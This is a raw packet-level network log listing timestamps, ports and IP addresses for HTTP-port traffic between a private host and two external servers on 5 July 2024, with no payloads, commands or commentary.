Jul 5, 2024 06:23:11.808511972 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.813544989 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.813556910 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:12.523242950 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:12.523422956 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:12.574500084 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:12.580559015 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:12.768666983 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:12.768775940 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:12.768804073 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:12.768858910 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:12.768858910 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:12.768858910 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:12.771236897 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:12.776017904 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:12.995198965 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:12.995280981 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:13.011833906 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:13.016645908 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:13.580873013 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:13.580966949 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:13.609138012 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:13.614016056 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:14.213459969 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:14.213565111 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:14.217042923 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:14.221848011 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:14.221978903 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:14.225435019 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:14.230279922 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:14.913853884 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:14.913873911 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:14.913902044 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:14.913912058 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:14.913927078 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:14.913935900 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:14.913949013 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:14.913954973 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:14.913969994 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:14.914009094 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:14.922787905 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:14.922801971 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:14.922821045 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:14.922907114 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:14.922991037 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:14.923029900 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:14.923036098 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:14.923074961 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:14.923907042 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:14.923962116 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.004113913 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.004292965 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.031269073 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.031301022 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.031315088 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.031335115 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.031339884 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.031352997 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.031363010 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.031373024 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.031387091 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.031416893 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.031440973 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.032119036 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.032156944 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.032167912 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.032170057 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.032186985 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.032188892 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.032210112 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.032223940 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.032716036 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.032727003 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.032743931 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.032752991 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.032758951 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.032773018 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.032805920 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.033329010 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.033339977 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.033364058 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.033370018 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.033374071 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.033387899 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.033390999 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.033411980 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.033440113 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.034179926 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.034192085 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.034210920 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.034220934 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.034221888 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.034240961 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.034275055 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.036174059 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.036227942 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.121063948 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.121182919 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.148782015 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.148793936 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.148811102 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.148868084 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.148895025 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.148895979 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.148905993 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.148930073 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.148933887 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.148946047 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.148956060 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.148963928 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.148973942 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.148979902 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.148993015 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.148996115 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.149009943 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.149013042 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.149054050 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.149497032 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.149507999 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.149525881 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.149534941 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.149544001 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.149564981 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.149590969 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.149627924 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.149667978 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.149692059 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.149713039 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.149728060 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.149730921 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.149741888 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.149744034 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.149763107 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.149775982 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.149995089 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.150034904 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.150041103 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.150046110 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.150069952 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.150083065 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.150135040 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.150145054 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.150162935 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.150172949 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.150176048 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.150193930 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.150201082 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.150206089 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.150223970 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.150228024 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.150237083 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.150254965 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.150273085 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.150856972 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.150881052 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.150891066 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.150904894 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.150918007 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.150938988 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.150991917 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.151006937 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.151025057 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.151031971 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.151036024 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.151050091 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.151055098 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.151066065 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.151072025 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.151087999 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.151089907 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.151113987 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.151128054 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.151137114 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.151138067 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.151161909 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.151170015 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.151195049 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.151770115 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.151779890 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.151798010 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.151817083 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.151844025 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.167954922 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.168029070 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.168682098 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.168854952 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.210947990 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.210984945 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.210997105 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.211024046 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.211038113 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.211051941 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.266423941 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.266448975 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.266469955 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.266479969 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.266496897 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.266496897 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.266508102 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.266525030 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.266525984 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.266540051 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.266556978 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.266557932 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.266571045 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.266576052 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.266587973 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.266598940 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.266623020 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.266839981 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.266884089 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.266933918 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.266944885 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.266962051 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.266973019 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.266973019 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.266992092 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.266999006 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.267005920 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.267023087 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.267029047 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.267055035 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.267299891 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.267338037 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.267394066 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.267409086 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.267424107 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.267430067 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.267442942 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.267446041 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.267457962 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.267458916 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.267477036 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.267482042 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.267488956 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.267501116 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.267507076 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.267513990 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.267522097 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.267532110 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.267548084 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.267560959 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.267929077 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.267940044 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.267959118 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.267963886 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.267978907 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.267999887 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.268152952 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.268162966 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.268181086 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.268191099 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.268198013 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.268208027 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.268219948 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.268222094 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.268237114 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.268254042 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.268258095 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.268266916 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.268280029 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.268285036 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.268302917 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.268327951 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.268769026 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.268784046 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.268798113 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.268815041 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.268826962 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.268838882 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.268842936 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.268857956 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.268867016 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.268872976 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.268886089 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.268893957 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.268896103 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.268907070 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.268914938 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.268928051 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.268934965 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.268944025 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.268955946 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.268963099 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.268975019 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.268981934 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.268987894 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.269006014 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.269031048 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.269540071 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.269583941 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.269634962 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.269645929 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.269664049 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.269671917 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.269676924 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.269690990 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.269695044 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.269704103 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.269720078 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.269721031 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.269738913 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.269754887 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.269757032 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.269769907 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.269783020 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.269788027 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.269799948 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.269804001 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.269814014 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.269824982 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.269829988 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.269844055 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.269844055 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.269855022 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.269860983 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.269875050 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.269877911 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.269912958 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.270513058 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.270524025 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.270544052 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.270550013 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.270554066 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.270564079 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.270574093 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.270584106 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.270597935 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.270644903 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.270654917 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.270685911 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 5, 2024 06:23:15.300848961 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 5, 2024 06:23:15.300862074 CEST	80	49700	77.91.77.81	192.168.2.7
